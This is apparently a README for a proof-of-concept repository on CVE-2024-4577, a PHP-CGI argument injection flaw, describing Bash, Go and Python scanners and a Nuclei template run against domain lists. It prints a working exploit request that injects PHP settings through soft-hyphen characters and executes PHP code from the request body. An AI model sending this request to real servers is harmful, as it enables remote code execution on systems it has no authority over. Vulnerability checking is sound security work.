# PHP RCE PoC
## CVE-2024-4577: Argument Injection in PHP-CGI

## Overview

This repository contains scripts to check for the CVE-2024-4577 vulnerability, an argument injection issue in PHP-CGI. You can use the provided Bash, Go, and Python scripts to test a list of domains for this vulnerability. I've also released a Nuclei YAML file.

## Usage

### Bash Script

To use the Bash script, run the following command:

```bash
./CVE-2024-4577.sh /path/to/domains-list
```

### Go Script

First, save the Go script to a file named `CVE-2024-4577.go`. To build and run the Go script:

1. Compile the Go script into a binary:

    ```bash
    go build -o CVE-2024-4577 CVE-2024-4577.go
    ```

2. Execute the binary with the domain list file as an argument:

    ```bash
    ./CVE-2024-4577 /path/to/domains-list
    ```

### Python Script

First, save the Python script to a file named `CVE-2024-4577.py`. To run the Python script:

1. Ensure you have the `requests` library installed:

    ```bash
    pip install requests
    ```

2. Execute the Python script with the domain list file as an argument:

    ```bash
    python CVE-2024-4577.py /path/to/domains-list
    ```

3. (Optional) If you want to only print vulnerable hosts:

    ```bash
    python CVE-2024-4577.py /path/to/domains-list --quiet
    ```


## Proof of Concept (POC) Explained

To manually test for the vulnerability, you can send the following POST request:

```http
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php phpinfo(); ?>
```

## Nuclei Template
I've also created a Nuclei template to scan for vulnerable instances, it uses the v3 layout scheme and has been tested in a lab environment:
```
nuclei -t CVE-2024-4577.yaml -u <target-url>
```

## Domain List Example
The list of domains should be pre-pended with http/https to ensure they are read correctly.

```
http://example.com
http://testsite.com
http://vulnerablesite.com
```

## Example Output

If a domain is found to be vulnerable, the output will be:

```
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable
```
